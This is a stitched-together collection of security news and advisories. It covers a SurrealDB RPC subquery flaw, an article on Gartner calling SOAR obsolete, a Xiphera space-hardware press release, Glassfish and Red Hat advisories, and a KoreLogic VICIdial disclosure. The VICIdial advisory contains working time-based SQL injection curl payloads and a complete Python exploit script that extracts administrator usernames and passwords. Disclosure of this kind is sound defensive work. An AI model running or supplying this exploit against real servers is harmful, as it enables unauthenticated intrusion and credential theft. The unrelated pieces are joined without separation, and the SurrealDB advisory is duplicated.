During the sign in and sign up operations through the SurrealDB RPC API, an arbitrary object would be accepted in order to support a wide array of types and structures that could contain user credentials. This arbitrary object could potentially contain any SurrealDB value, including an object representing a subquery. For this to materialize, this object would need to be encoded using the bincode serialization format instead of the default JSON serialization format or the additionally supported CBOR serialization format.

If a binary object containing a subquery were to be provided in this way, that subquery would be computed while executing the `SIGNIN` and `SIGNUP` queries defined by the database owner while defining a record access method. Since those queries are executed under a system user session with the editor role, an unauthenticated attacker may be able to leverage this behavior to select, create, update and delete non-IAM resources with permissions of a system user with the editor role.

### Impact

If a record access method was defined with a `SIGNIN` or a `SIGNUP` query and the SurrealDB RPC API was exposed to untrusted users, an attacker could be able to craft a binary object containing a subquery to provide in place of valid credentials when calling the `signin` and `signup` operations via the RPC API with the bincode serialization format. The attacker could use that subquery to select, create, update and delete resources in SurrealDB, but they would not be able to _directly_ view the results of the query. This method cannot be used to create, update or delete IAM resources, as access to those kind of resources requires the owner role.

### Patches

Objects provided as variables to the sign in and sign up methods are now recursively validated to ensure that they do not contain any non-computed values, which include subqueries and other data types that could potentially result in query execution.

- Version 1.5.5 and later are not affected by this issue.
- Version 2.0.0-beta.3 and later are not affected by this issue.

### Workarounds

Users unable to update may want to disallow access to the SurrealDB RPC API using the affected binary serialization formats by conservatively allowing only requests to the `/rpc` endpoint of the SurrealDB HTTP server with the `application/json` content type. If the RPC API is not used at all or only used by trusted clients, disallowing or restricting access to the `/rpc` endpoint of the SurrealDB HTTP server will also prevent exploitation. Alternatively, if filtering HTTP requests is not possible, record access methods that define `SIGNIN` and `SIGNUP` clauses may be temporarily removed to completely prevent potential attacks leveraging this issue.

### References

- [SurrealDB Documentation - Authentication (Record Users)](https://surrealdb.com/docs/surrealdb/security/authentication#record-users)
- [SurrealDB Documentation - RPC Protocol (Signup)](https://surrealdb.com/docs/surrealdb/integration/rpc#signup)
- [SurrealDB Documentation - RPC Protocol (Signin)](https://surrealdb.com/docs/surrealdb/integration/rpc#signin)

During the sign in and sign up operations through the SurrealDB RPC API, an arbitrary object would be accepted in order to support a wide array of types and structures that could contain user credentials. This arbitrary object could potentially contain any SurrealDB value, including an object representing a subquery. For this to materialize, this object would need to be encoded using the bincode serialization format instead of the default JSON serialization format or the additionally supported CBOR serialization format.

If a binary object containing a subquery were to be provided in this way, that subquery would be computed while executing the SIGNIN and SIGNUP queries defined by the database owner while defining a record access method. Since those queries are executed under a system user session with the editor role, an unauthenticated attacker may be able to leverage this behavior to select, create, update and delete non-IAM resources with permissions of a system user with the editor role.

**Impact**

If a record access method was defined with a SIGNIN or a SIGNUP query and the SurrealDB RPC API was exposed to untrusted users, an attacker could be able to craft a binary object containing a subquery to provide in place of valid credentials when calling the signin and signup operations via the RPC API with the bincode serialization format. The attacker could use that subquery to select, create, update and delete resources in SurrealDB, but they would not be able to _directly_ view the results of the query. This method cannot be used to create, update or delete IAM resources, as access to those kind of resources requires the owner role.

**Patches**

Objects provided as variables to the sign in and sign up methods are now recursively validated to ensure that they do not contain any non-computed values, which include subqueries and other data types that could potentially result in query execution.

*   Version 1.5.5 and later are not affected by this issue.
*   Version 2.0.0-beta.3 and later are not affected by this issue.

**Workarounds**

Users unable to update may want to disallow access to the SurrealDB RPC API using the affected binary serialization formats by conservatively allowing only requests to the /rpc endpoint of the SurrealDB HTTP server with the application/json content type. If the RPC API is not used at all or only used by trusted clients, disallowing or restricting access to the /rpc endpoint of the SurrealDB HTTP server will also prevent exploitation. Alternatively, if filtering HTTP requests is not possible, record access methods that define SIGNIN and SIGNUP clauses may be temporarily removed to completely prevent potential attacks leveraging this issue.

**References**

*   SurrealDB Documentation - Authentication (Record Users)
*   SurrealDB Documentation - RPC Protocol (Signup)
*   SurrealDB Documentation - RPC Protocol (Signin)

**References**

*   GHSA-64f8-pjgr-9wmr
*   surrealdb/surrealdb@b7583a6
*   surrealdb/surrealdb@eab7ef5
*   https://surrealdb.com/docs/surrealdb/integration/rpc#signin
*   https://surrealdb.com/docs/surrealdb/integration/rpc#signup
*   https://surrealdb.com/docs/surrealdb/security/authentication#record-users

GHSA-64f8-pjgr-9wmr: Untrusted Query Object Evaluation in RPC API

Business intelligence firm Gartner labels security orchestration, automation, and response as "obsolete," but the fight to automate and simplify security operations is here to stay.

Source: Screenshot of Gartner Chart via Robert Lemos

What Gartner giveth, Gartner can take away.

Seven years ago, analysts at the business intelligence firm coined the term "security orchestration, automation, and response" (SOAR) to describe what they considered a new class of products: integrated security operations that could not only detect threats and issues, but also use playbooks to augment incident responders' efforts and, eventually, completely automate the response.

No wonder, then, that Gartner's labeling of the technology two months ago as "obsolete before plateau" — meaning the category has stalled before becoming a well-established IT tool — created a kerfuffle. Customers inundated the firm with questions on what the designation implied. Vendors in the security automation sector were more blunt.

Any suggestion that SOAR is dead is "the dumbest thing I've ever heard — absolutely asinine," says James Brear, CEO of Swimlane, a provider of security operations automation. "If you just remove the \[term\] SOAR and added the word automation, \[then the assertion\] sounds ridiculous. It's kind of like saying that AI is going away."

SOAR is not the first technology to be assigned Gartner's dreaded "Hype Cycle" designation. In 2022, data meshes became obsolete before reaching the plateau — more formally, the "Plateau of Productivity." In 2020, Gartner slapped the label on demand-driven material requirements planning, a supply chain management approach. Ditto for broadband over powerlines in 2010.

"This premature obsolescence typically results from the emergence of a competing technology — for example, analog high-definition TV gave way to digital high-definition TV," Gartner stated in an explanation of its Hype Cycle model.

In the latest case, labeling SOAR as obsolete comes as the components of the product category have become subsumed by other products and services, while automation is increasingly an expected feature, says Eric Ahlm, senior director analyst at Gartner. Security operations centers (SOCs) required orchestration as a standalone feature to integrate disparate products into a single hub for operations, the analyst explains, and as corporate customers sought out simplified operations, vendors further integrated their services to consolidate SOAR with other products and services.

A parade of mergers and acquisitions highlights the trend. Palo Alto Networks bought Demisto in 2019 and acquired QRadar from IBM earlier this year. Rapid7 bought SOAR firm Komand back in 2017, and SumoLogic acquired DFLabs in 2021.

"There's a lot of different ways to add automation — an efficiency boost or increase scale through automation — without going out and buying a standalone, dedicated SOAR platform," Ahlm says. "That's really what we're calling out — not the end of automation or that it's a dead-end concept — but the field of vendors who sell nothing but dedicated platforms for automation, I don't think ... have a very lively future."

**Wanted: A Simplified Security Hub**

Most companies want a single hub for all of their security information, from which they can manage incidents, conduct investigations, and respond to threats. SOAR was originally envisioned to be that central hub, but strong integration between products, better automation, and a focus on visibility means that other products can now fill that role.

In other words, the central hub does not have to be SOAR. Increasingly, the choice of security operations platform depends on where a business starts out and what core platform it believes delivers most value, Ahlm says. Both extended detection and response (XDR) and security event and information management (SIEM) platforms, for example, are increasingly a security focal point for companies.

The features of SOAR — the integration, visibility, and automated response — have migrated to a variety of security products, says Chas Clawson, field CTO at Sumo Logic, a provider of automated security operations platforms.

"It shows the maturity of the security operations world, when something as critical as automation becomes kind of table stakes, and every solution has to have some flavor of automation," he says. "It's probably long overdue \[because of the\] pain ... from the defender side — analyst burnout and swivel-chair syndrome ... \[from which\] we really need some reprieve."

Sumo Logic has its own SOAR product — Cloud SOAR — which focuses on integrating data streams from different IT devices, security products, and cloud services, along with automation for security operations.

**Still a Strong Case for Better SOAR**

Yet another company behind SOAR is cybersecurity firm Palo Alto Networks, which has doubled down on security automation. The company's security operations center ingests 36 billion events per day — a volume of more than 75 terabytes — with only 10 human analysts. In its use case, the company says its Cortex XSOAR automates the work of 16 analysts and reduces time spent on manual actions by 90%.

"By standardizing and automating time-consuming, manual tasks, SOAR solutions dramatically reduce time spent on incident response," says Gonen Fink, senior vice president of Palo Alto Networks' Cortex and Prisma Cloud products. "While many stand-alone security products will continue to integrate some level of automation, SOAR solutions provide more robust capabilities, orchestrating and automating various actions across an organization's technology stack."

Swimlane has also focused on automating security tasks and incident response, typically for larger companies such as the Fortune 2000. Founded in 2014 — three years before Gartner reportedly created the modern term SOAR — the company's approach is to gather data from all of the IT devices and intelligence from security products and then automate the response to any identified incidents, says Swimlane's Brear.

"The genesis \[of the company was\], 'How can we make the SOC better?'" he says. "If you go back in time, there were a bazillion different tools that the SOC guys were looking at — it's complicated to try to get visibility."

For those reasons, a standalone SOAR platform is a necessary and reasonable approach to security for many companies — and far from obsolete — but customers will continue to need better integrations with common technologies, such as Microsoft and managed detection and response (MDR) platforms, according to analyst firm Omdia.

"Users of security technologies want to have solutions that are easy to use, require minimum training, and can integrate easily," says Elvia Finalle, senior analyst at Omdia. "SOAR vendors will have to continue to adapt to platforms and expand their compatibility with other vendors and solutions."

**AI + Automation = Security Evolution**

While the core use case for SOAR remains strong, the combination of artificial intelligence, automation, and the current plethora of cybersecurity products will result in a platform that could take market share from SOAR systems, such as an AI-enabled next-generation SIEM, says Eric Parizo, managing principal analyst at Omdia.

"SOC decision-makers are \[not\] going out looking to purchase orchestration and automation as much as they're looking to solve the problem of fostering a faster, more efficient TDIR \[threat detection, investigation, and response\] life cycle with better, more consistent outcomes," he says. "The orchestration and automation capabilities within standalone SOAR solutions are intended to facilitate those business objectives."

AI and machine learning will continue to increasingly augment automation, says Sumo Logic's Clawson. While creating AI security agents that process data and automatically respond to threats is still in its infancy, the industry is clearly moving in that direction, especially as more infrastructure uses an "as-code" approach, such as infrastructure-as-code, he says.

The result could be an approach that reduces the need for SOAR.

"When you have this Copilot technology — you've heard the term 'agentification,' \[where\] you've got this agent at your disposal that can do anything that you want — it dilutes the value of SOAR," Clawson says. "Because AI can be an expert coder and developer, and it has access to every API and all the documentation, you can almost just start to interact with systems in a more humanlike way."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

SOAR Is Dead, Long Live SOAR

PRESS RELEASE

Xiphera, Ltd, a Finnish company designing and implementing hardware-based security solutions, announces a project for developing quantum-resilient Authenticated Boot and Hardware Root of Trust solutions for space-grade semiconductor architectures.

Authenticated Boot and Hardware Root of Trust solutions ensure trust in the digital hardware components and system configurations in space and satellite infrastructures.  Xiphera’s implementations are based on hybrid cryptography – a combination of traditional and Post-Quantum Cryptography (PQC) – thus ensuring the security of the system throughout its life cycle. 

The development project is partially financed by the European Space Agency, as part of its General Support Technology Program (GSTP). The solutions have been designed in close co-operation with Frontgrade Gaisler, a leading Swedish developer of space-grade electronics. Authenticated Boot is planned to be integrated into Frontgrade Gaisler’s space-grade GR765 processor.

The Authenticated Boot and Hardware Root of Trust technologies are productised for general availability in Xiphera’s nQrux® family of Hardware Trust Engines – highly optimised and customisable security solutions for FPGAs and ASICs. The first released product is nQrux® Secure Boot, available immediately for semiconductor and equipment vendors in space technology and other industrial and critical infrastructure sectors.

“The ESA project will increase European digital sovereignty and resilience both in the supply chain and underlying technology. Our IP cores have always been secure by design, and the complex solutions developed in this project require careful system design methodology” says Petri Jehkonen, Xiphera’s Director of Strategic Programs. “In addition to delivering first class cryptographic algorithms and security protocols, the technology we develop must be compatible with space-grade ASIC manufacturing processes. Xiphera’s solutions are designed in pure digital logic without any hidden software components. This benefit is emphasised particularly in space-grade applications, where software components typically require significantly more complicated validation and certification paths.”

“The integration of Xiphera technology in our next-generation GR765 octa-core SoC provides the foundation to build systems that are resilient against cybersecurity threats” says Jan Andersson Nerén, Director of Engineering at Frontgrade Gaisler. “This collaboration allows our customers to meet stricter requirements while minimising impact on development effort. It also allows them to tackle both present and future challenges, including those posed by quantum computing.”

“Security elements are required today in most space systems. Sensitive elements uploaded over the air, such as software, FPGA bitstreams and telecommands need to be authenticated. Mission data, if confidential or of commercial value, must be encrypted. We are looking forward to working with Xiphera to develop quantum-resistant secure IP cores for space processing chips, namely microprocessors and FPGA” says Roland Weigand from Microelectronics Section at ESA. 

About Xiphera

Xiphera, Ltd, designs and implements hardware-based security using proven cryptographic algorithms. Our strong cryptographic expertise and extensive experience in digital system design enable us to help our customers to protect their most valuable assets.

We offer secure and highly optimised cryptographic Intellectual Property (IP) cores, designed directly for Field Programmable Gate Arrays (FPGAs) and Application Specific Integrated Circuits (ASICs) without software components. The broad, fully in-house designed, and up-to-date portfolio, including implementations of Post-Quantum Cryptography, enables cost-effective development projects with fast time-to-market – providing peace of mind in a dangerous world.

Read more: www.xiphera.com

About Frontgrade Gaisler

Frontgrade Gaisler, a Frontgrade Technologies company, is a leading global provider of radiation-hardened microprocessors and IP cores for criticalapplications, particularly in the space industry. The company’s highly integrated SoC processors are known for their reliability, fault tolerance, and radiation tolerance, making them ideal for any space mission or other high-reliability application. Find out more about space computing at www.gaisler.com.

About ESA

The European Space Agency (ESA) is Europe’s gateway to space. Its mission is to shape the development of Europe’s space capability and ensure that investment in space continues to deliver benefits to the citizens of Europe and the world. ESA is an international organisation with 22 Member States. By coordinating the financial and intellectual resources of its members, it can undertake programmes and activities far beyond the scope of any single European country.

https://www.esa.int

Xiphera Develops Quantum-Resilient Hardware Security Solutions for Space

In Eclipse Glassfish versions prior to 7.0.10, a URL redirection vulnerability to untrusted sites existed.
This vulnerability is caused by the vulnerability (CVE-2023-41080) in the Apache code included in GlassFish.
This vulnerability only affects applications that are explicitly deployed to the root context ('/').

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.

Attack complexity: More severe for the least complex attacks.

Privileges required: More severe if no privileges are required.

User interaction: More severe when no user interaction is required.

Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.

Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.

Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.

Availability: More severe when the loss of impacted component availability is highest.

GHSA-7gq2-vwq9-w8vw: Eclipse Glassfish URL redirection vulnerability

An attacker with authenticated access to VICIdial version 2.14-917a as an agent can execute arbitrary shell commands as the root user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.

VICIdial 2.14-917a Remote Code Execution

An unauthenticated attacker can leverage a time-based SQL injection vulnerability in VICIdial version 2.14-917a to enumerate database records. By default, VICIdial stores plaintext credentials within the database.

    KL-001-2024-011: VICIdial Unauthenticated SQL InjectionTitle: VICIdial Unauthenticated SQL InjectionAdvisory ID: KL-001-2024-011Publication Date: 2024-09-10Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt1. Vulnerability Details      Affected Vendor: VICIdial      Affected Product: VICIdial      Affected Version: 2.14-917a      Platform: GNU/Linux      CWE Classification: CWE-89: Improper Neutralization of Special                          Elements used in an SQL Command                          ('SQL Injection')      CVE ID: CVE-2024-85032. Vulnerability Description      An unauthenticated attacker can leverage a time-based SQL      injection vulnerability in VICIdial to enumerate database      records. By default, VICIdial stores plaintext credentials      within the database.3. Technical Description      VICIdial is an open-source contact center suite, mainly used      by call centers. The "vicidial.com" website boasts over 14,000      registered installations. There is a public SVN repository to      access the source code, as well as an ISO that can be used to      install the software. The ISO was used in a virtual machine      for testing purposes.      When performing SQL queries, VICIdial does not use prepared      statements, but instead uses the "preg_replace" PHP function      to remove problematic characters in user-controlled input      before interpolating the variable into a SQL query. This      is largely an effective solution, as regular expressions      like "/[^-_0-9a-zA-Z]/" are passed to "preg_replace", which      essentially limits input to the characters shown in the pattern      (letters, numbers, underscores, and hyphens).      However, these scripts do not utilize a shared PHP file      for performing sanitization uniformly. Instead, each script      individually implements the "preg_replace" function, leading      to inconsistencies in which patterns are used and where they      are applied.      For example, providing credentials via the "Authorization"      request header using the "Basic" scheme, most PHP scripts      sanitize the username value with the following line:     $PHP_AUTH_USER = preg_replace('/[^-_0-9a-zA-Z]/','',$PHP_AUTH_USER);      However, the "VERM_AJAX_functions.php" PHP script does not      perform any sanitization before inserting the username into      a SQL "INSERT" statement:     $PHP_AUTH_USER=$_SERVER['PHP_AUTH_USER'];     $PHP_AUTH_PW=$_SERVER['PHP_AUTH_PW'];     ...     if ($function=="log_custom_report")       {       $rpt_log_stmt="insert ignore into         verm_custom_report_holder(user,         report_name, report_parameters)         values('$PHP_AUTH_USER', '$custom_report_name',         '$LOGhttp_referer') ON DUPLICATE KEY         UPDATE report_name='$custom_report_name',         report_parameters='$custom_report_vars'";       $rpt_log_rslt=mysql_to_mysqli($rpt_log_stmt, $link);       return mysqli_affected_rows($rpt_log_rslt);       }      Since "VERM_AJAX_functions.php" can be accessed without      authentication, this creates a straight forward unauthenticated      SQL injection vulnerability. While the page response cannot      be manipulated by the execution of the query, delays in the      page response can be observed when using SQL functions such as      "sleep()", enabling the enumeration of database values using      time-based SQL injection:     $ time curl -u "foo:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.019s   <--- (normal response time)     user    0m0.004s     sys    0m0.008s     $ time curl -u "','',sleep(5));#:bar" \  http://REDACTED/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.023s   <--- (5-second delay in response time)     user    0m0.003s     sys    0m0.008s      This observable difference can be used to craft queries that      sleep under specific conditions, allowing an attacker to ask      "Yes or No" questions. In the following example, the "sleep()"      function is called only if the provided string matches the      database version:     $ time curl -u \         "','',IF(@@version='korelogic',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m0.024s   <--- (normal response time)     user    0m0.006s     sys    0m0.003s     $ time curl -u \  "','',IF(@@version='10.6.14-MariaDB-log',sleep(5),NULL));#:bar" \  http://vicidial.zz/VERM/VERM_AJAX_functions.php?function=log_custom_report     real    0m5.019s   <--- (5-second delay in response time)     user    0m0.004s     sys    0m0.008s4. Mitigation and Remediation Recommendation      This issue has been remediated in the public svn/trunk codebase,      as of revision 3848 committed 2024-07-08.5. Credit      This vulnerability was discovered by Jaggar Henry of KoreLogic,      Inc.6. Disclosure Timeline      2024-07-05 : KoreLogic requests security contact from                   support@vicidial.com.      2024-07-08 : KoreLogic reports vulnerability details to VICIdial                   contact.      2024-07-08 : VICIdial notifies KoreLogic that the issue has been                   remediated with revision 3848 in the public                   Subversion repository.      2024-07-11 : KoreLogic confirms this vulnerability has been                   remediated. KoreLogic asks VICIdial if it is                   appropriate to publicly disclose the vulnerability                   details at this time.      2024-07-11 : VICIdial requests four weeks of embargo in order to                   upgrade supported customers.      2024-08-05 : KoreLogic asks VICIdial if it is appropriate to                   publicly disclose the vulnerability details at                   this time.      2024-08-09 : VICIdial requests an additional two weeks of                   embargo.      2024-09-10 : KoreLogic public disclosure.7. Proof of Concept      The following script can be used to automate the exploitation process and      enumerate the results of provided queries:          $ time python unauth_sqli.py -rh vicidial.zz -rp 443 -q 'SELECT @@version'          [+] Target appears vulnerable to time-based SQL injection          [~] Executing SQL: SELECT @@version          [~] 1          [~] 10          [~] 10.          [~] 10.6          [~] 10.6.          [~] 10.6.1          [~] 10.6.14          [~] 10.6.14-          [~] 10.6.14-M          [~] 10.6.14-Ma          [~] 10.6.14-Mar          [~] 10.6.14-Mari          [~] 10.6.14-Maria          [~] 10.6.14-MariaD          [~] 10.6.14-MariaDB          [~] 10.6.14-MariaDB-          [~] 10.6.14-MariaDB-l          [~] 10.6.14-MariaDB-lo          [~] 10.6.14-MariaDB-log          real    0m6.727s          user    0m0.425s          sys    0m0.020s      ##############################      ##      unauth_sqli.py      ##      ##############################      import string      import random      import urllib3      import argparse      import requests      from base64 import b64encodeurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)      class Exploit:          def __init__(self, rhost, rport, proxy=None):              """              This 'sleep' duration is derived by the average response time              multiplied by this value. A server with an average response time              of 10ms is given a 'sleep' duration of 300ms. Tune as needed.              """              self.SLEEP_MULTIPLIER = 30              self.REQUEST_HEADERS = {'User-Agent': 'KoreLogic'}              self.ALLOWED_SCHEMES = ['http', 'https']              if proxy:                  self.REQUEST_PROXIES = {                      'http':  proxy,                      'https': proxy                  }              else:                  self.REQUEST_PROXIES = {}              self.TARGET_IP   = rhost              self.TARGET_PORT = rport              self.VICIDIAL_FINGERPRINT = 'Please Hold while I redirect you!'              self.RANDOM_CHARSET = string.ascii_uppercase + string.digits          # returns a URI with 'http' or 'https'          def determine_target_uri(self):              for scheme in self.ALLOWED_SCHEMES:                  target_uri = f'{scheme}://{self.TARGET_IP}:{self.TARGET_PORT}'                  try:                      response = requests.get(target_uri, headers=self.REQUEST_HEADERS, verify=False)                      if self.VICIDIAL_FINGERPRINT in response.text:                          return target_uri                  except:                      pass          # returns a session object with custom proxies/headers if supplied          def build_requests_session(self):              self.base_uri = self.determine_target_uri()              session = requests.Session()              session.proxies = self.REQUEST_PROXIES              session.verify  = False              return session          # returns a random string of a given length          def random(self, length):              return ''.join(random.choice(self.RANDOM_CHARSET) for _ in range(length))          # returns a timedelta representing the response time of an injected SQL query          def time_sql_query(self, query, session):              username    = f"goolicker', '', ({query}));# "              credentials = f'{username}:password'              credentials_base64 = b64encode(credentials.encode()).decode()              auth_header = f'Basic {credentials_base64}'              target_uri = f'{self.base_uri}/VERM/VERM_AJAX_functions.php'              request_params  = {'function': 'log_custom_report', self.random(5): self.random(5)}              request_headers = {**self.REQUEST_HEADERS, 'Authorization': auth_header}              response = session.get(target_uri, params=request_params, headers=request_headers)              return response.elapsed          # returns a boolean if time-based SQL injection is possible, additionally          # sets the best 'sleep' duration based on response times          def is_vulnerable(self, session, baseline_iterations=5):              # determine average baseline response time              zero_sleep_query = f'SELECT (NULL)'              total_baseline_time = 0              for _ in range(baseline_iterations):                  execution_time = self.time_sql_query(zero_sleep_query, session)                  total_baseline_time += execution_time.total_seconds()              average_baseline_response_time = total_baseline_time / baseline_iterations              self.sql_baseline_time = average_baseline_response_time              # determine if injected sleep query impacts response time              sleep_length = round(average_baseline_response_time * self.SLEEP_MULTIPLIER, 2)              sleep_query  = f'SELECT (sleep({sleep_length}))'              execution_time = self.time_sql_query(sleep_query, session)              if execution_time.total_seconds() >= sleep_length:                  self.sql_sleep_length = sleep_length                  return True              else:                  return False          # determine if a character at a specific indice of a query result returns a          # boolean 'true' when compared to a given character using the supplied operator          def check_indice_of_query_result(self, session, query, indice, operator, ordinal):              parent_query    = f'SELECT IF(ORD((SUBSTRING(({query}), {indice}, {indice}))){operator}{ordinal}, sleep({self.sql_sleep_length}), null)'              execution_time  = self.time_sql_query(parent_query, session)              return execution_time.total_seconds() >= (self.sql_baseline_time * self.SLEEP_MULTIPLIER)          def enumerate_sql_query(self, session, query='SELECT @@version', charset=string.printable):              # convert charset to ordinals              all_characters     = sorted([ord(char) for char in charset])              reduced_characters = all_characters              # use a binary search and enumerate query results              result = ''              indice = 1              indice_could_be_null = True              while True:                  """                  we check if the value is NULL once per indice                  to determine when a string ends. this adds one                  request per indice, but since every boolean 'true'                  results in a delay this is faster than counting                  the length of the string before enumrating.                  """                  if indice_could_be_null:                      if self.check_indice_of_query_result(session, query, indice, '=', '0'):                          break                      else:                          indice_could_be_null = False                  # enumerate each character of query result with a binary search                  middle_indice  = len(reduced_characters) // 2                  middle_ordinal = reduced_characters[middle_indice]                  if self.check_indice_of_query_result(session, query, indice, '<=', middle_ordinal):                      if self.check_indice_of_query_result(session, query, indice, '=', middle_ordinal):                          reduced_characters = all_characters                          result += chr(middle_ordinal)                          indice += 1                          indice_could_be_null = True                          print(f'[~] {result}')                      else:                          reduced_characters = reduced_characters[:middle_indice]                  else:                      reduced_characters = reduced_characters[middle_indice:]              return result          # returns administrator username and password by          # exploiting time-based SQL injection.          def extract_admin_credentials(self, session):              print('[~] Enumerating administrator credentials')              username_charset = string.ascii_letters + string.digits              admin_username_query = "SELECT user FROM vicidial_users WHERE user_level = 9 AND modify_same_user_level = '1' LIMIT 1"              admin_username = self.enumerate_sql_query(session, admin_username_query, username_charset)              print(f'[+] Username: {admin_username}')              password_charset = string.ascii_letters + string.digits + '-.+/=_'              admin_password_query = f"SELECT pass FROM vicidial_users WHERE user = '{admin_username}' LIMIT 1"              admin_password = self.enumerate_sql_query(session, admin_password_query, password_charset)              print(f'[+] Password: {admin_password}')              return admin_username, admin_password          # injects SQL queries and enumerates results if instance is vulnerable          def exploit(self, custom_query=None):              session = self.build_requests_session()              is_vulnerable = self.is_vulnerable(session)              if is_vulnerable:                  print('[+] Target appears vulnerable to time-based SQL injection')              else:                  print('[-] Failed to perform time-based SQL injection')                  return              if custom_query:                  print(f'[~] Executing SQL: {custom_query}')                  self.enumerate_sql_query(session, custom_query)              else:                  self.extract_admin_credentials(session)      if __name__ == '__main__':          argparser = argparse.ArgumentParser(description='Exploit for CVE-2024-XXXXX: Unauthenticated SQLi')          required  = argparser.add_argument_group('Required Arguments')          optional  = argparser.add_argument_group('Optional Arguments')          required.add_argument('-rh', '--rhost', required=True, help='Vicidial Server IP address')          required.add_argument('-rp', '--rport', required=True, help='Vicidial Server port number')          optional.add_argument('-q',  '--query', required=False, help='Custom SQL query to execute',                default=None)          optional.add_argument('-p',  '--proxy', required=False, help='HTTP[S] proxy to use for outbound requests', default=None)          arguments = argparser.parse_args()          exploit = Exploit(              rhost = arguments.rhost,              rport = arguments.rport,              proxy = arguments.proxy          )          exploit.exploit(custom_query=arguments.query)The contents of this advisory are copyright(c) 2024KoreLogic, Inc. and are licensed under a Creative CommonsAttribution Share-Alike 4.0 (United States) License:http://creativecommons.org/licenses/by-sa/4.0/KoreLogic, Inc. is a founder-owned and operated company with aproven track record of providing security services to entitiesranging from Fortune 500 to small and mid-sized companies. Weare a highly skilled team of senior security consultants doingby-hand security assessments for the most important networks inthe U.S. and around the world. We are also developers of varioustools and resources aimed at helping the security community.https://www.korelogic.com/about-korelogic.htmlOur public vulnerability disclosure policy is available at:https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy

VICIdial 2.14-917a SQL Injection

Red Hat Security Advisory 2024-6536-03 - Red Hat AMQ Streams 2.5.2 is now available from the Red Hat Customer Portal. Issues addressed include bypass, denial of service, information leakage, and memory leak vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6536.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: Red Hat AMQ Streams 2.5.2 release and security update  
Advisory ID:        RHSA-2024:6536-03  
Product:            Streams for Apache Kafka  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:6536  
Issue date:         2024-09-10  
Revision:           03  
CVE Names:            
====================================================================

Summary: 

Red Hat AMQ Streams 2.5.2 is now available from the Red Hat Customer Portal.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat AMQ Streams, based on the Apache Kafka project, offers a distributed backbone that allows microservices and other applications to share data with extremely high throughput and extremely low latency. 

This release of Red Hat AMQ Streams 2.5.2 serves as a replacement for Red Hat AMQ Streams 2.5.1, and includes security and bug fixes, and enhancements.

Security Fix(es):  
* Scala: sbt is a build tool for Scala, Java, and others. Given a specially crafted zip or JAR file, `IO.unzip` allows writing of arbitrary file. This would have potential to overwrite `/root/.ssh/authorized_keys`. Within sbt's main code, `IO.unzip` is used in `pullRemoteCache` task and `Resolvers.remote`; however many projects use `IO.unzip(...)` directly to implement custom tasks. This vulnerability has been patched in version 1.9.7.(CVE-2023-46122)

* ZooKeeper: Information disclosure in persistent watcher handling. Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue.  
(CVE-2024-23944)

* ZooKeeper: Authorization Bypass in Apache ZooKeeper [amq-st-2](CVE-2023-44981)

* Snappy: flaw was found in SnappyInputStream in snappy-java. This issue occurs when decompressing data with a too-large chunk size due to a missing upper bound check on chunk length. An unrecoverable fatal error can occur, resulting in a Denial of Service (DoS) (CVE-2023-43642)

* Kafka: snappy-java: Unchecked chunk length leads to DoS [amq-st-2](CVE-2023-34455), (CVE-2024-27309), (CVE-2024-31141)

* Strimzi Operators: vertx-core: io.vertx:vertx-core: memory leak when a TCP server is configured with TLS and SNI support (CVE-2024-1300)

* Strimzi Bridge: flaw was found in SnappyInputStream in snappy-java (CVE-2023-43642)

* Strimzi Bridge: netty-codec-http: Allocation of Resources Without Limits or Throttling (CVE-2024-29025)

* Strimzi Bridge: vertx-core: io.vertx:vertx-core: memory leak when a TCP server is configured with TLS and SNI support (CVE-2024-1300)

* Strimzi Bridge: netty-codec-http2: HTTP/2: Multiple HTTP/2 enabled web servers are vulnerable to a DDoS attack (CVE-2023-44487)

 * Strimzi Bridge: Bump snappy-java to fix (CVE-2023-43642)

* Strimzi OAuth: In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. (CVE-2023-52428)

* Cruise Control: flaw was found in SnappyInputStream in snappy-java (CVE-2023-43642)

* Cruise Control: jose4j- denial of service via specially crafted JWE (CVE-2023-51775)

 * Cruise Control: Bump snappy-java to fix (CVE-2023-43642)

* Cruise Control: cruise-control reported a high-sev json vulnerability (CVE-2023-5072)

* Cruise Control: Nimbus JOSE+JWT before 9.37.2 (CVE-2023-52428)

* Strimzi Kafka Kubernetes Config Provider: Bump snappy-java to fix (CVE-2023-43642)

Solution:

CVEs:

References:

https://access.redhat.com/security/updates/classification/#moderate  
